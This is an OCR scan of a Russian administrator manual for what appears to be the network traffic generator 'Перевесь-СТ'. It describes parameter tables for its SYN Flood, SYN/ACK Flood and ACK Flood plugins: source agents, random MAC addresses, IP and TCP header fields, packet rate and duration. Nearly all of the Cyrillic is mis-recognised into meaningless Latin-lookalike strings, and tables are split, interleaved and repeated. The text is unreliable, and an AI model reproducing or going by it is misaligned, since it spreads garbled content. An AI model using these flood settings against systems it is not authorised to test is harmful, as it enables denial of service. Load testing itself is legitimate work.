MIPOM3BOJIBFHYI0 KOMOWHAIIMIO CHMBOJIOB
3amanHo# muHb (pumep: ${str(16)})
${strMinMax(min_length,max_length)}
- Dopmupyet IIPOU3BOJILHYIO
KOMOWHAIIMI0O CHMBOJIOB C [UIMHOW B

YKa3aHHBIX npenaenax (mprmep:
${strMinMax(16,24)})

${hex(length)} - dopmupyer
MPOM3BOJILHYIO KOMOWHAIIMIO CHMBOJIOB
3a/IaHHOM [UTHHBI B IIECTHAAIIATEPHIHOM
dopmare (pumep: ${hex(16)})

${hexMinMax(min_length,max_length)}
- dopmupyeT TIPOU3BOJIHHYIO
KOMOWHAIIHIO CHMBOJIOB B
IIECTHAAIATEPUIHOM (dopmare B

YKa3aHHBIX npeaenax (mpumep:
${hexMinMax(16,24)})

${email} - ®opmupyeT BamMAHEIN email
CO CIydYaifHBIM HMEHEM IMOJIb30BATEIsI U
JIOMEHOM

${login} - ®opMupyeT BaIUAHBINA JOTHH
HOJIb30BATEIISI

${password}- dopmupyer BaNHAHBIH
[apoJIb MMOJIB30BATEIS

e) IlapameTpsl ceccun - mapaMeTphbl, Kacarolluecs yIpPaBJICHUs] CECCUIMH B PaMKax

TEKYLICTO IJIarnHa, OMMUCaHUC KOTOPBIX YKAa3aHO B Tabm. 38,

Ta6u. 38 — [lapametpsl «IlapameTpsol ceccum»

HasBanue Onucanne 3HayeHne
O6mee MaxkcuManbHOE KONMYECTBO OJHOBPEMEHHO | 3aJaiiTe YHCIOBOE 3HAUCHUE
KOJINYECTBO AaKTUBHBIX CECCHUH, KOTOpBIE MOTYT OBITH
ceccHit YCTaHOBJICHBI B paMKax IlJIariHa.

Taiim-ayT Bpems B cexyHmax, B Te4eHHE KOTOPOTO | 3amaiiTe YMCIOBOE 3HAUCHUE
IIOBTOPHOI'O Iepecser-CT Oyner IBITAThCA
HOJKIIOUEHHS BOCCTAHOBUTb COEAMHEHHE IOCIE €ro

paspeiBa. Ecnmm coenuHenme He Oyner
BOCCTAHOBIEHO B YyKa3aHHbIM MepuUof,
ceccust OyeT 3aKphbITa.

CEeKYH]ly

Ilogkniouennii B

CeKyHIY.

MakcumaabHOE KOJMYECTBO HOBBIX CECCHH,
KOTOpBIE MOTYT OBITh YCTAHOBIICHBI 32 OHY

3agaiiTe YUCIOBOE 3HAUYEHNE

Makc. cTpumMoB
(Ha ceccuro)

MakcuManbHOE  KOJIMYECTBO  IIOTOKOB
JTAHHBIX, KOTOPBIE MOTYT OBITh aKTUBHBI B
OJTHOM CECCHUH.

3ajaiiTe YUCIOBOE 3HAUEHHE
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BkiroueHnu H2 B «ITapamerpax HTTP».

ITapamerp ~ AOCTYHEH  TOJBKO npu

Tymbnep  «bes

MakcumanbHas MMPpOU3BOAUTCIIBHOCTD 0e3

BXII0YHTEL/BBIKIIIOYUTH

CeccuIo)

OTpaHUYEHUS» OTpaHMYEHUH Ha KOJ-BO OTIPABIISIEMBIX

3aIpOCOB B CEKYHIY
3anpocoB B | MakcuManbHOE  KOJNMYECTBO  3alpOCOB, | 3alaiiTe YMCIOBOE 3HAUCHUE
CEKyHIY (Ha | KOoTOpBIE MOTYT OBITH 00pabOTaHBI

CEKYHJLy AJIsl OTHOHM CECCHU/CTpHMA.

OTIPaBKOMI
3a1pocoB

HurepBan mexny

3aIIPOCOB B CEKYHIY.

OHIII/IH IMO3BOJIAACT HACTPOUTH 3aACPIKKY
MCKIY OTHpaBKOﬁ 3aJaHHOI'0  KOJI-Ba

3aﬂaﬁTe YHUCJIOBOC 3HAYCHUC

K) JIUTEeNbHOCTD - MapamMeTp, OTBEUAIOLUil 32 BpeMsl pabOoThI IUIaruHa, ONKCaHUue

KoTOporo ykazano B Tabm. 39.

Ta6u. 39 — [Tapametp «/lIuTEILHOCTHY

HazBanmue Onucanmne 3Hauenue
JlmuTenbHOCTh Bpewmst rerepanuu Tpadurka 3ajaiiTe YMCIOBOE 3HaUCHUE W BhIOepeTe
TeHepannu BEeIMYNHY (B CEKyHIaX, MHUHYTaX WIH

gacax)

5.3.1.4 SYN Flood

SYN Flood — miarus as renepanuu Tpaduka, B KOTOPOM OTIPABJISAETCS 0OJIBIIOE KOJTHIECTBO

3anpocoB Ha yctaHoBieHue TCP-coenqunenus (SYN-makeTsl) 6€3 3aBepIieHus mpoiecca.

JIaHHBIN IUIArMH COCTOUT U3 CIEAYIOUIUMX apaMeTPOB:

a) VCTOYHMKM — COBOKYMHOCTh M3 BBIOpaHHOTO areHrta, mHTepgeiicoB u MAC-

a/IpecoB C KOTOPBIX areHT OyAeT OTIpaBlATh M MPUHUMATh Tpaduk. OnucaHue napameTpoB

ykazanbl B Tabn. 40;

Ta6a. 40 — INapamerpsl «cTOUHUKI

HasBanue Onucanne 3HauyeHue

ATEHT AreHT, C KOTOpOro OyneT OTHpaBisAThCA | BriOepere areHT M3 crmMcKa areHToB
TpahUK M C KOTOPBIA Oyner NpUHUMATh
TpaduK.

CeTeroii CereBoii mHTep(eilic arenra, ¢ xoroporo | Beibepere nHTEpdeEiic u3 CIHCKa

nnrepetic Oyzer oTmpaBiATHCS TpapuK M C KOTOPHIA | HHTEepdeiicoB
OyneT npuHUMAaTh Tpaduk

CeTh BriOpannbie 00bekT «Cetn» (cM. 3aroioBok | Beibepere o0bexT «Cern» u3  crnmcka

5.2.2.1 wim 5.2.2.2) mapameTpbl KOTOPOTo
OyZyT WCHONB30BAaTBHCA AL OTIPABKU
tpaduka. Ecnmm BbIOpaHo Oonee 0JHOTO
00beKTa, MOXKHO U3MEHUTH MapaMeTp «Bec»,

OTBEYAFOIITHI 3a OamaHCHPOBKY

00beKTOB. 3asaiire Bec (110 yMOIYaHUIO, BEC
pacripesenseT paBHOMEPHO MaKeThl MEXIY

oobexTamu «Cetny)

Nsm.

Jlucm

Ne dokym.

Modnuce |Hama

Pykosodcmeo admHuucmpamopa s 10 Nepeceem-CT
sepcuu 2.0 39

Jlucm




pactipeneneHus MTaKeTOB MEXITy

BBIOpaHHBIMU 00BeKkTaMu «CeTH».

MAC-anpec

BriOpannsie  00bexkT «MAC-aapecy» (cwm.
3arooBok 5.2.3.1) mapameTpbl KOTOPOTO
OyIyT HCIONb30BaThCA AL OTIPABKU
Tpaduka

Bribepere o6bekT «MAC-anpec» u3 crucka
0OBEKTOB.

Cayuariaeriik MAC-ampec — mig Kaxkaoro
nmakera OyJeT CreHepUpOBaH CIIyYaiHBINA
MAC-aznpec oTnpaBuTens

0) Llenu — mapameTpsl A1 BEIOOpa 00bEKTa, B KOTOPBIN OyI€T HAMPaBIATHCS TpahuK

(cM .3aromnoBok 5.2.2.3);

Ha3zpaHnue Onucanune 3HaueHHe
MAC-aapec Bribpannsie o0bekTr «MAC-agpec» (cm. | Crmywaitaeiii MAC-agpec — mnsd Kaxaoro
3arojioBOK 4)) mapameTpbl KOToporo OyIyT | makera OyneT CreHepUpOBaH CIydYaiHbIH
HCIIOJIb30BAThCS IS OTIPaBKK Tpaduka MAC-anpec noaygarens
Bribepere 00pexT « MAC-aapecy U3 cimcka
00BEKTOB.
Liens Beiopannbie 00bekT «Cetn» (cM. 3aronoBok | Beioepere o0bekr «CeTtu» U3 CIHCKa

5.2.2.3) mapaMeTpbl  KOTOpOro  OyAyT
HCIIONb30BaThCs [UISI OTIPaBKu Tpaduka B

BBIOpaHHYIO IIETIb.

00BEKTOB.

B) IP 3aronoBok (L3) — mapametpsr HacTpoek IP 3aronoskos Ha yposue L3 TPC/IP,

OINMCaHNE KOTOPBIX yKa3aHbl B Tabn. 41;

Taon. 41 — IMapamerpsl «IP 3arosoBok (L3)»

Ha3panue Onucanue 3HayeHue
TTL (Time to | Hapamerp TTL ompenensier makcumanbHOe | 3anairte YUCIIOBOE 3HAYCHHUE (o
Live)

KOJIMYECTBO ~ MAapIIPyTH3aTOPOB  (XOIOB),
yepe3 KOTOpblE MOXET TIPOHTH MaKeT

JTAaHHBIX, PESKIE 9YeM OH OyAeT OTOPOIICH.

yMoi4aHuwoo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of

DSCP — »to mone B 3aronoBke IP-makeTa,

3anaiite YHCIIOBOE 3HaYeHUE (o

Service) KOTOpOE HCIONb3YyeTCsl A OIpeleseHus | yMonuaHuro, 3HadeHne DSCP srsercs: «7»)
npuopuTera 1 00paboTku Tpaduka
ECN — sto MexaHu3M, KOTOPBIH o3BosisieT | Bpibepere 3HaUeHHE U3 CITUCKA:
MapUIPyTH3aTOpaM  yBEAOMIATb y31bl O | 00 (Non-ECT)
neperpyskax B ceTu 6e3 coOpoca makeTos. 01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))
Cry9aifHBIH VHUKaNbHBI —~ HACHTH(QHUKATOP  TAKEeTa, | BKIIOYHTH/BBIKIIOUUTE TyMOIEp
ID BBIOpaHHBIH  CilydaiiHBIM  oOpazoM  JuIs

pa3M4YeHus: PparMeHTOB OJJHOTO U TOTO XKE
IP-lakera
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3navenue 1D UuncnoBoil HMIeHTUPHUKATOP, NPHUCBOCHHBIN | 3amaiite YHUCIIOBOE 3HAYEHUE (o
KaOXJIOMY [P-makety TSt €ro | yMoi4aHuto, 3HaueHue «3HaueHune ID»
UIeHTHUKAMA TIpu  pparMeHTarmu  u | sBisercs: «0-65535»)
cbopke
ITapamerp gocTymeH, eciau —IMapaMmerp

«Cirygaitaerii ID» BEIKITIOUCH

r) TCP 3aronoBok (L4) — mapamerpsl Hactpoek IP 3arooskos Ha yposue L4 TPC/IP,

OMHCaHue KOTOPhIX yKa3aHbl B Tabn. 42;

Tadn. 42 — IMapametpsl «TCP 3aroaoBok (L4)»

CerMeHTA)

Ha3zBanmue Onucanmne 3Hauyenue
Max. Segment Size | MakcuManbpHBIN pa3mep cerMeHTa | 3ajaiiTe 4ucioBoe 3HaueHue (1o
(MakcumambHbii pasMep yMOJYaHHIO,  3HadeHue  Max.

oIpenenseT MAaKCHUMaJIbHbII
00bEM JaHHBIX, KOTOPBIA MOXKET
ObITh mepegan B omHoM TCP-

CEIMCHTC

Segment Size sBnstercst: «1460»)

WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHUTCA K MCXaHU3MY
MaciitabupoBanust okHa TCP,
KOTOPBIA TO3BOJACT YBEIHYUTH
pasMep OKHAa Uil yIpaBICHUS
MOTOKOM JaHHBIX.

3anaiite unciIoBoe 3HaueHHE (T10
YMOITYaHHUIO, 3Ha4YeHUe WS
ABJISETCA: «64»)

Window Size (Pa3mep okHa)

Pasmep okna TCP omnpegpenser
00bEM IIaHHBIX, KOTOPBIA MOXET
OBITh OTHpaBlieH 0e3 OXKUIaHHs
HOJTBEP KACHUS OT HOTyJaTes.

3amaiiTe YucIOBOE 3Ha4YeHHE (ITO
yMoJl4aHuto, 3HaueHue Window
Size siBnsiercs: «256»)

Crnyuaiineiii Sequence Number

CnyuaifHoe 4HCII0, UCIOJIB3YEMOE
JUIst MHHULUATH3aLIH
IOCIIEI0BATEILHOCTH HOMEPOB B
MIPOTOKONAX CBsA3M  (Hampumep,
TCP)

BKITHOUUTE/BBIKITIOUNTH TYMOJIED

3unavyenue Sequence Number

Teky1ee uucio B
MTOCTICTOBATENEHOCTH,
yKa3bIBAOIIee MOPSIOK JaHHBIX B
MTOTOKE Iepenadn

ITapamerp nocrtyneH, eciu
napametp «CiaydaiiHeiil Sequence
Numbery BbIKITIOUEH

3anaiite unciaoBoe 3HadeHHE (IO
YMOJIYaHHIO, 3HaueHHe Sequence
Number SIBJISIETCSL: «0-
4294967295»)

,Z[) HapaMeTpLI CKOPOCTH — IMapaMeTp, OTBEYAIONIUM 3a CKOpPOCTDb NEepCaavuu 1aKCTOB,

OIMcaHue KOTOPOro ykazaHo B Tabmn. 43;

Ta6a. 43 — INapamerp «CkopocTh»

HazBanmue

Onucanmne

3uauenue

Tymbnep  «be3 | MakcumanbHasi TPOU3BOJMTENIBHOCTE 0€3
OTPaHUYEHUSD» OTpaHMYEHUH Ha KOJ-BO OTIPABIISIEMBIX
3aIIpOCOB B CEKYHIY

BKII0UHTE/BBIKITIOYUTE

ITakeToB B | Kakoe
CEeKyHIY OTMPaBJICHO B OJIHY CEKYHY

KOJIMYECTBO  MaKeToB  OyneT | 3amaiiTe 4yMCIIOBOE 3HAUEHUE
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HurepBan mexnay | Onmust MO3BOJSIET HACTPOUTH  3aTEPKKY
OTIPaBKOU MEXJy OTHpaBKOW 3aJaHHOTO  KOJ-Ba
3a1pocoB 3aMpocoB B CEKYHIY.

3agaiiTe YUCIOBOE 3HAUYECHUE

e) JnurenpHOCTH - mapaMeTp, OTBEYAIOIIMMA

KOTOpOro ykazaHo B Tabiu. 44.

Taba. 44 — IapameTp «IIUTEIBHOCTD

3a BpeMs paboThI MJIarvHa, OMMCAHUE

HazBanmne Onucanue 3nayeHue
JmTensHOCTh Bpewms reaepanun Tpaduka 3amaiiTe YUCIOBOE 3HAYCHHE W BHIOEpETE
TeHepaIyn BeMMYMHY (B CEKyHIaX, MHHYTax HIH
gacax)

5.3.1.5 SYN/ACK Flood

SYN/ACK Flood — mmarun s redepanmu Tpaduka, KOTOPBIA OTIPaBISET OOJBIIOE

konuyecTBO TmakeToB SYN-ACK Ha menb, 3actaBisiss ee  oOpabaThiBaTh MHOYKECTBO

COE€IUHEHUMU.

JIaHHBIN IUIArMH COCTOUT U3 CIEAYIOUIUX apaMeTPOB:

a) VCTOYHMKM — COBOKYIMHOCTb W3 BBIOpaHHOTO areHTa, mHTepdeiicoB u MAC-

aIpecoB C KOTOPBIX areHT OyJeT OTHPaBIATh U MPUHUMATh Tpaduk. OmnucaHue napaMmeTpoB

yka3anbl B Tabn. 40;

Taba. 45— IlapameTpsl «AcTOYHUKI»

HaszBanmue Onucanmne

3HaueHnune

ATEHT ATeHT, C KOTOpOro OyZeT OTIIPaBIATHCS

TpapUK M C KOTOpHIM Oyner NpHHUMATh

BBI6Gp€TC arc¢HT M3 CITMCKa ar¢HTOB

5.2.2.1 wim 5.2.2.2) mapameTpbl KOTOPOTO
OyZyT WCHONB30BAaTBHCA AL OTIPABKU
tpaduka. Ecnmm BbIOpaHo Oonee 0JHOTO
00beKTa, MOXXHO H3MEHHTH MApPaMETP «BECH,
OTBEYAIOIINH 3a 0aaHCHPOBKY
pacnpeneneHus NaKeTOB MEXAY

BBIOpaHHBIMU O0O0BekTamMu «CeTm».

Tpaduk.
CeTeBoii CereBoii mHTepdeiic areHTa, ¢ KoToporo | Breibepete uHTEpdeiic u3 CIMCKa
uHrepdeiic OyZeT OTIPaBIATHCS TPaPUK U C KOTOPBIA | HHTEpGEicoB

OyneT npuHUMaTh Tpaduk
CeTb Bribpannsie 06bekT «Cetn» (cM. 3arosioBok | Beibepere o00BexT «CeTu» M3 CHHCKa

00BeKTOB. 3aaaiiTe Bec (110 YMOITYaHHIO, BEC
pacripesenseT paBHOMEPHO MaKeThl MEXIY

oobekTamu «Cetny)

MAC-anpec BriOpannbie  06bekr «MAC-agpec» (cm.
3aromoBok 5.2.3.1) mapameTpbl KOTOPOTO

Bribepere o6bexT «MAC-anpec» n3 crmcka
0OBEKTOB.
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OyZyT HMCIONb30BaThCA OISl OTIIPABKU
Tpaduka

Cnyuaiineiii MAC-ampec — uis KaxkJaoro
rmakera OyIeT CTreHEepHpOBaH CITyJIalHBIN
MAC-anpec otmpaButens

6) Lenu — mapameTpsl a7 BBIOOpa 00BEKTA, B KOTOPHIH OyIeT HanpaBiaThes Tpaduk

(cM .3aronoBok 5.2.2.3);

Ha3panue Onucanne 3HaveHune
MAC-aapec Beiopannsle  00bekT «MAC-aapec» (cm. | Ciywaiinslii MAC-agpec — Uil KakIoro
3arofioBoK 4)) mapameTpbl KOTOporo OyIyT | makera OymeT CreHEpUpOBaH CIydYaHbIH
HCTIONB30BAThCS U OTHPABKH Tpaduka MAC-aznpec noryuarens
Bribepere 00bekT «MAC-aapec» u3 crucka
OOBEKTOB.
Henp BriOpannsie 00bekT «Cetn» (cM. 3aronoBok | Beibepere o0vekTr «Cetm» wn3  comcka

5.2.2.3) mapamerpbl  KOTOpOro  OyayT
UCIIONIb30BAThCsl JUIA OTIPaBKH Tpaduka B

BBIOpaHHYIO LETb.

00BEKTOB.

B) IP 3aronoBok (L3) — mapamerpsl HacTpoek IP 3aromoBkos Ha yposue L3 TPC/IP,

OIMCaHKe KOTOPBIX yKa3aHbl B Tabn. 46;

Ta6n. 46 — IMapamerpsl «IP 3arosoBok (L3)»

Ha3zBanmne Onucanue 3Hauenue
TTL (Time to [Mapamerp TTL ompenensieT makcumanbHOe | 3ajmaiiTe YHCIIOBOE 3HaYCHUE (mmo
Live)

KOJINYECTBO  MAapIIPYTH3aTOPOB  (XOIOB),
yepe3 KOTOpble MOXET MPOUTH MakeT

JITaHHBIX, IPEXKE 9YeM OH OyAeT OTOPOIIeH.

ymMoi4aHuwoo, 3HadeHue TTL  sBusercs:

«128»)

ToS (Type of

DSCP — »t10 moze B 3aronoBke IP-makera,

3apgaiite YUCIIOBOE 3HAUEHHE (o

Service) KOTOpPOE HWCIOJB3YETCS Ui ONpeNeNicHus | yModaHuio, 3Hauenne DSCP sBisteTcs: «7»)
npuoputera 1 00paboTku Tpadpuka
ECN — sTo MexaHu3M, KOTOPBIH 1o3BossieT | Bpibepere 3HaUeHHe U3 CITUCKA:
MapIIpyTH3aTOpaM  YBEAOMIATH  y31bl O | 00 (Non-ECT)
neperpyskax B ceTu 0e3 coOpoca IakeToB. 01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))
Crny4aiHbIii VHUKaJbHBIA ~ WACHTH(UKATOP  Makera, | BKIFOYHTH/BBIKIHOYHTH TyMOIIep
ID BBIOpaHHBI  CIOydalHBIM  OOpazoM Ui

pasnudeHus: GparMeHTOB OJHOTO U TOTO KE
IP-mmakera

3nauenne ID

YucnoBoit MAEHTH(PHUKATOP, TNPHCBOCHHBIA
KaXI0My IP-mmakety Juist ero
uneHTuGUKanu 1pu  QparMeHTanuu |
cOopke

IMapamerp gocTymeH, eciau —mapaMmerp
«Cryuaitnslii ID» BeIKIIIOUEH

3anaiite YHCIOBOE 3HaYCHNE (o
YMOJYaHUIO, 3HaueHue «3HaueHue [D»
sBisercs: «0-65535»)
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r) TCP 3aromnoBok (L4) — mapamerpsl HacTpoek IP 3aromoskos Ha yposue L4 TPC/IP,

OMHCaHue KOTOPhIX yKa3aHbl B Tabn. 47,

Taon. 47 — Ilapamerpsl «TCP 3aroaoBok (L4)»

Ha3panue Onucanne 3HaveHue
Max. Segment Size | MakcuManbHBINA pa3Mep cerMeHTa | 3ajaiiTe YHUCIOBOE 3Ha4eHHe (110
(MakcumabHbiH PasMep | onpenenser MaKCHMaIbHBIH | YMOJIYaHWIO,  3HaueHne  Max.
CerMeHTa)

00bEM JTAHHBIX, KOTOPBIA MOXKET
ObITh Tepean B omHOM TCP-

CCIMCHTC

Segment Size sBnstercst: «1460»)

WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHTCS K MEXaHU3MY
MaciitabupoBanust okHa TCP,
KOTOpI)II‘/II TMO3BOJIACT YBCJIIUYHUTH
pasMep OKHa /sl yNpaBJCHUS
MOTOKOM JaHHBIX.

3amaiiTe YuciaoBoe 3HadeHHE (ITO
YMOJTYaHHIO, 3HAYEHHE WS
ABJISETCA: «64»)

Window Size (Pa3mep okHa)

Pasmep okna TCP omnpegpenser
00bEM IIaHHBIX, KOTOPBIA MOXET
ObITH OTHpaBiieH 0e3 OXKHIAHUS
MIOJITBEPXKACHHS OT MOJTydyaTess.

3amaiiTe YuCIOBOE 3Ha4YcHHE (ITO
yMoJl4aHuto, 3HaueHue Window
Size sBnsiercs: «256»)

Cnyuaiinsiii Sequence Number

CnyuaifHoe 4HCIIO, UCIOJIB3yEMOE
TSt MHHALATH3alHH
MIOCJIEIOBATEILHOCTH HOMEPOB B
MIPOTOKONAX CBsA3M  (Hampumep,
TCP)

BKITIOUUTH/BBIKITIOUNTH TyMOJIED

3nayenue Sequence Number

Texyiee YHUCIIO B
HOCJIEIOBATEILHOCTH,
YKa3bIBAIOIEE MOPSAOK JaHHBIX B
MOTOKE TIepeaun

3anaiite uMciIoBOe 3HaueHHE (T10
YMOJIYaHHIO, 3HaueHHe Sequence
Number SIBJISIETCSL: «0-
4294967295»)

,[[) HapaMeTpH CKOPOCTH — ITapaMeTp, OTBEYAIOIIUM 3a CKOpPOCTD IepCaavuu 1aKeTOB,

oIMcaHue KOTOpOro ykaszaHo B Tabmn. 48;

Ta6u. 48 — ITapameTp «CKopocTb»

Ha3zBanmue Onucanue 3Hauenue
Tymomep  «be3 | MakcumanbHass MPOU3BOIUTEIBHOCTh 0€3 | BKIIOUNTH/BBIKIIOYHTE
OTPaHUYCHUS» OTpPaHWYCHUA Ha KOJ-BO OTIPABIIEMBIX

3aMpocoB B CEKYHAY
ITakeToB B | Kakoe  konmuectBO  makeroB — OyzeT | 3amaiiTe 4MCIOBOE 3HAYCHUE
CEeKyHIY OTMPaBJICHO B OJIHY CEKYHY
WurepBan mexay | Onmusi TO3BOJSET HACTPOUTH 3aACPXKKy | 3amaiiTe YMCIOBOE 3HAUEHUE
OTIpPaBKOH MEXAy OTIPaBKOM 3aJJaHHOr0  KOJI-Ba
3arpocoB 3aMpocoOB B CEKYHY.

KOTOporo ykazaxo B Ta0mu. 49.

e) JIIMTenpHOCTh - TapamMeTp, OTBEUAIOIINUNA 3a BpeMs paloThl IJIaruHa, OMHCAHUE

Nsm.
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Ta6u. 49 — Ilapamerp «/lIUTEILHOCTHY

Hassanue Onucanne 3HauyeHue
JmTensHOCTh Bpewms reaepanun Tpadurka 3amaiiTe YUCIOBOE 3HAYCHHE W BHIOEpETE
TeHepaIuu BeNWYMHY (B CEKyHIaX, MHUHYTax WIH
yacax)

5.3.1.6 ACK Flood

ACK Flood — mrarun miist renepaiuu Tpaduka, KOTOPBIH OTIPABISET OOJBIIOE KOIHYECTBO

IMaKE€TOB C YCTAaHOBJICHHBIM (I)J'Ial"OM ACK Ha cib, 3aCTaBJIsIsA €€ O6pa6aTBIBaTB MHOXECTBO

COCTUHEHUH.

JIaHHBIN IUIArMH COCTOUT U3 CIEAYIOUIUX apaMeTPOB:

a) VCTOYHMKM — COBOKYMHOCTh M3 BBIOpaHHOTO areHta, mHTepdeiicoB u MAC-

aIpecoB C KOTOPBIX areHT OyJeT OTHPaBIATh U MpUHUMATh Tpaduk. OmnucaHue napaMmeTpoB

ykazanbl B Tabn. 40;

Ta6a. 50 — I[Napamerpbl «AcTOUHUKI»

Ha3panue Onucanne 3HayeHne
ATeHT AreHT, C KOTOpOro OyneT OTHpaBisiThbCs | BriOepere areHT U3 criMcKa areHTOB
TpahUK M C KOTOPBIH Oyner NpUHUMATh
TpaduK.
CereBoii CereBoii mHTepdeiic areHta, ¢ KoToporo | Breibepete uHTEpdeiic u3 CITUCKA
nntepetic OysieT OTHpaBAThC TpaQUK M C KOTOpBIA | MHTEpdeHcoB
Oyzet mpuHUMATh Tpaduk
CeTh Briopannbie 00bekT «CeTn» (cM. 3aroioBok | Bridepere o0vekT «CeTtm» U3  CHHCKa
5.2.2.1 unmm 5.2.2.2) mapamerpbl KOTOPOro | 00BEKTOB. 3aaiiTe Bec (110 YMOIYAHHIO, BEC
OymyT WCHONB30BaThCA ML OTNPABKU | pacrpelersieT PaBHOMEPHO IMAKeThl MEXIy
Tpaduka. Ecau BeiOpano Oosee oaHOTO | 0OBekTamu «CeTr»)
00beKTa, MOXKHO U3MEHUTh MAPaMeTP «BECH,
OTBEYAOIHI 3a GaaHCHPOBKY
pacmpeneneHus MaKeTOB MEXKITY
BBIOpaHHBIMH 00beKkTaMu «CeTm».
MAC-anpec Briopannsie  o0bekr «MAC-agpec» (cM. | Bribepere o0vexT «MAC-aapec» U3 crmcka

3aromoBok 5.2.3.1) mapameTpbl KOTOPOTO
OyayT HCIOJB30BAaThCSA UL OTIPABKH
Tpaduka

0O0BEKTOB.

Cayuaiiueiiik MAC-ampec — s KaKIoro
rmakera OyJeT CreHepUpOBaH CIIyYalHBINA
MAC-anpec ornpaBuTesns

6) Llenu — mapameTpsl a5 BbIOOpa 00BEKTA, B KOTOPBIN OyIeT HalpaBIsAThCs Tpaduk

(cm .3aromoBok 5.2.2.3);
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HaszBanme

Onucanmne

3HaueHne

WCTIONB30BAThCS JUIA OTIHPaBKH Tpaduka B

BEIOPAaHHYIO IIEIb.

MAC-azapec BriOpannbie  00bekr «MAC-agpec» (cMm. | Ciyuaiineiii MAC-ampec — Uil KaxJIoro
3arofioBoK 4)) mapameTpbl KOTOporo OyIyT | makera OymeT CreHEpUpPOBaH CIydYaHbIH
UCIIOJIb30BAThCS U OTHPABKH Tpaduka MAC-anpec nosryuarens
Bribepere 06pexT « MAC-aapecy U3 cimcka
OOBEKTOB.
ens BriOpannsie 00bekT «Cetn» (cM. 3aronoBok | Beibepere o0vekT «Cetm» mn3  cromcka
5.2.2.3) mapaMeTpbl  KOTOPOTO  OYAyT | OOBEKTOB.

B) IP 3aronoBok (L3) — mapamerpsl HacTpoek IP 3aromoBkos Ha yposue L3 TPC/IP,

OIMCaHue KOTOPBIX yKa3aHbl B Tabm. 51;

Taén. 51 — IMapamerpsl «IP 3arosoBok (L3)»

Ha3zBanme Onucanue 3Hauenue
TTL (Time to ITapamerp TTL ompenenser makcumanbHOe | 3amaite YHCIIOBOE 3HAYCHHE (o
Live) KOJIMYECTBO  MAapUIPYTH3aTOPOB  (XOMOB), | yMonyaHutoo, 3HaueHWe TTL  sBusercs:
Yepe3 KOTOphIE MOXKET MOPONTH makeT | «128»)
JTAaHHBIX, MPEKIC YeM OH OyAeT OTOPOIIICH.
ToS (Type of | DSCP — sto mnone B 3aronoBke IP-makera, | 3anaiite YHCIIOBOE 3HAYCHHE (mo

Service) KOTOpPOE HWCIONB3YETCS Ui OIpeeNicHus | yMoJdaHuio, 3Hauenne DSCP sBisteTcs: «7»)
npuopuTeTa U 00paboTKK Tpaduka
ECN — sto MexaHu3M, KOTOPBIH 1o3BousieT | Bpibepere 3HaueHHe U3 CITUCKA:
MapLIpyTH3aTOpaM  YBEAOMIATH  y31sl O | 00 (Non-ECT)
neperpyskax B ceTu 0e3 coOpoca ImakeToB. 01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))
CnyyaliHblii YHUKaNbHBIH — uaeHTHHUKATOP  Makera, | BKIIOYUTH/BBIKIIOUUTH TyMOIIED
ID BEIOpAaHHBIH  CIy4alHBIM  00pa3oM Ui

pa3n4IeHusT PparMeHTOB OJHOTO U TOTO XKE
IP-mmakera

3unauenne ID

UuncnoBoil MIEHTU(PHUKATOP, NPUCBOCHHBIH
KOKIOMY [P-nakery IS ero
uneHTnGUKanu 1pu  QparMeHTanun |
cOopke

Ilapamerp  nmocTymeH, eciu
«Cryuaitnsrii ID» BeIKIIIOUEH

napamerp

3anaiite YHCIIOBOE
YMOJYaHUIO, 3HAYCHHUE
sBisercsi: «0-65535»)

3HAYEHNE
«3HayeHune

(o
ID»

r) TCP 3aromnoBok (L4) — mapametpsl HacTpoek |P 3aronoskoB Ha yposue L4 TPC/IP,

OIMcaHue KOTOPHIX yKka3aHbl B Tabn. 52;
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Ta6a. 52 — Ilapamerpsi «TCP 3aromoBok (L4)»

Ha3panmue Onucanue 3HaveHue
Max. Segment Size | MakcumaibHBIA pa3Mep cerMeHTa | 3ajaiite uuciaoBoe 3Ha4YeHUE (110
(MaxcumanbHbii PasMep | onpenenser MaKCHMANbHBIH | yMONYAHWIO, 3HaueHHe  Max.
CETMEHTa)

00beM [aHHBIX, KOTOPBIA MOXKET
ObITh Tepenan B omHoM TCP-

CCIMCHTC

Segment Size sBisercs: «1460»)

WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHUTCS K MEXaHH3MY
MacmtabupoBanust okHa TCP,
KOTOPBIA TO3BOJACT YBEIHYUTH
pasMep OKHa ISl yHpaBICHUS
MOTOKOM JIaHHBIX.

3anaiite yuciaoBoe 3HaueHHe (IO
YMOITYaHHIO, 3HaYCHUE WS
SIBIISIETCS: «64»)

Window Size (Pa3mep oxHa)

Pasmep oxna TCP ompenenser
00bEM JaHHBIX, KOTOPBIA MOXKET
OBITh OTIpaBiIeH 0e3 OXHUOAHUA
MOJITBEPIKACHHS OT MMOTYIATEIIS.

3anaiite uMciIoBOe 3HaueHHE (T10
yMoJl4aHuto, 3HaueHue Window
Size sBsieTcs: «256»)

Crnyugaiinsiii Sequence Number

CnyyaliHOE 4YMCIO, UCIIOJIB3YEMOE

BKIIIOYHTH/BEIKITIOYATE TYMOJIED

TS MHHUIIHATA3AIUT
MOCJIEZIOBATEILHOCTH HOMEPOB B
MPOTOKOJIaX CBsI3U  (Hampumep,
TCP)

3nagyenne Sequence Number Tekyee qUCIIO B | 3amaiiTe 4uciioBoe 3HaueHHUe (10
MOCJIEI0BATEILHOCTH, YMOJTYaHHIO, 3HaueHHe Sequence

YKa3bIBaro1mee nopsAA0K AaHHBIX B
MOTOKE Mepeaavin

Number «0-

4294967295»)

SABJIACTCA:

n) Ilapamerpsl ckOpocTH — MapaMeTp, OTBEYAIOLIHII 32 CKOPOCTh NEpejaun MaKEeTOB,

OIMCaHMe KOTOPOro ykazaHo B Tabmn. 53;

Tada. 53 — Ilapamerp «CkopocTh»

HasBanue Onucanue 3HayeHue
Tymbnep  «be3 | MakcumanbHass TPOM3BOAUTENHHOCTE 0€3 | BKIIIOYNTH/BBIKIIOUHTH
OrpaHUYCHUSY OFpaHI/I‘IeHI/Iﬁ Ha KOJI-BO OTHPABJIAECMBIX

3aIIpOCOB B CEKYHAY
ITakeroB B | Kakoe  konmuectBo  makeroB  Oyner | 3amaiiTe 4MCIOBOE 3HAUCHHE
